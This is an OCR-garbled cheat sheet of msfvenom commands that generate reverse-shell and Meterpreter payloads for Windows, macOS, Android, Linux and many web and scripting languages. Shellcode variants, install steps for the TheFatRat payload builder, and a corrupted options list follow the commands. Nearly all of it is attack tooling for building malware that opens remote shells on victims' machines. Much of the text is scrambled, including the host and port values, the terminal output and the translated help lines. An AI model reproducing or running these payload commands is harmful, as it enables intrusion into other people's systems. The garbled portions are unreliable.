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windows:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
IZEHIP LPORT=I4E#lim -e x86/shikata_ga_nai -b "\x00\x0a\xff' -i 3 -f exe -0
payload.exe

mac:
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=IZz54/1IP
LPORT=I&##imE -f macho -o payload.macho

android:

//[FREES

msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=IX
TH#HIP LPORT=IF#iwmO -f apk -o payload.apk

powershell:
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=
IEHIP LPORT=I¥FE#lix -e cmd/powershell_base64 -i 3 -f raw -o payload.psl

linux:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=IX
AP LPORT=IE#i%0 -f elf -o payload.elf

php:

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=
<Your Port to Connect On> -f raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d "\n" > shell.php && pbpaste >>
shell.php

aspx:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=
IEHIP LPORT=I¥FE#ix A -f aspx -o payload.aspx
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jsp:
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=IZHAIP LPORT=IZ
HiwO -f raw -o payload.jsp

war:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IZEEAUIP LPORT =I{zH#lim O -f raw -
o payload.war

nodejs:
msfvenom -p nodejs/shell_reverse_tcp LHOST=IZHEAIP LPORT=IK{FHAim -f raw -o
payload.js

python:
msfvenom -p python/meterpreter/reverse_tcp LHOST=IZHEAIP LPORT=IEHAixA -
f raw -o payload.py

perl:
msfvenom -p cmd/unix/reverse_perl LHOST=IZ#4IP LPORT=I¥FH# i -f raw -o
payload.pl

ruby:
msfvenom -p ruby/shell_reverse_tcp LHOST=IZ#/1IP LPORT=I¥#H#lixA -f raw -o
payload.rb

lua:
msfvenom -p cmd/unix/reverse_lua LHOST=IZHEALIP LPORT=Iz:#imE -f raw -o
payload.lua

windows shellcode:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
WEEAIP LPORT=IFEHimE -f ¢

linux shellcode:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=IX
THHNIP LPORT=IFEHEimO -f ¢



mac shellcode:

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=IZz4/LIP
LPORT=IZeE#lim O -f ¢

{@Efkpayload 4R :
MBI : https://github.com/Screetsec/TheFatRat

root@John:~/Desktop# git clone https://github.com/Screetsec/TheFatRat.git

IR B
ruut@Juhn:»;De&ktup# qit clone https://github.com/Screetsec/TheFatRat.git
Cloning into ThPthth'
remote: Countin ]
remote: Compr g obj . daone,
; delta @),
.75 MiE | 246,00

Desktop,/TheFatRats chmod
Desktop/TheFatRat# chmod

. Done

. Dane
! autnmatically installed and are no longer required:
stone
se 'S ' to remove them.
] upgrﬂdpd_ 0 new talled, @ to remove and 1561 not upgraded.
Feading package 1 .. Dane

. Done
11 be REMOVED:

O upgraded, © nes [1led, 2 to remove and 1561 not upgraded.
uTtPr (this L ace will be freed,
3 f nd directories currently installed.)



https://github.com/Screetsec/TheFatRat
https://github.com/Screetsec/TheFatRat.git

LINUX == FatRat.elf

WINDOWS == FatRat.exe

ANDROID >> FatRat.apk

MAC >> FatRat.macho

PHP >> FatRat.php

ASP >> FatRat.asp

JSP >> FatRat.jsp

WAR => FatRat.war

Python >> FatRat.py
[18] Bash => FatRat.sh
[11] Perl >> FatRat.pl
[12] Back to Menu

CreatorSFATRAT :>> [

PR
FRZfsEFRSAA
Options:
-p, --payload <payload> {FHIEEApayload
--payload-options 5|Hizpayload&£)
-1, --list [type]l  FlHFFBERIpayloads
-n, --nopsled <length>  Apayloadi§xE— nopsled <E
-f, --format <format>  fg§Epayload&ErHE

--help-formats BEEIFEN
-e, --encoder <encoder> (FFAYRISES
-a, --arch <arch>  {EZEpayloadtyZe

--platform  <platform> igEpayload¥&
--help-platforms BRZFES
-s, --space <length> &xEpayloadIHEHNEAKE
--encoder-space <length>  The maximum size of the encoded payload
(defaults to the -s value)
-b, --bad-chars  <list> fexebad-chars 40: "\xO0\xff'



-i, --iterations  <count>  ISTELRADIREL
-c, --add-code  <path> FBETWIN32 shellcode 344
-x, --template ~ <path> 1BE— executable SAE/1EHR

-k, --keep payload BaiD BEFHENZIFHIBTE
-0, --out <path> FrE R AIpayload
-V, --var-name <name> IEEEENTE
--smallest Generate the smallest possible payload
-h, --help EES B
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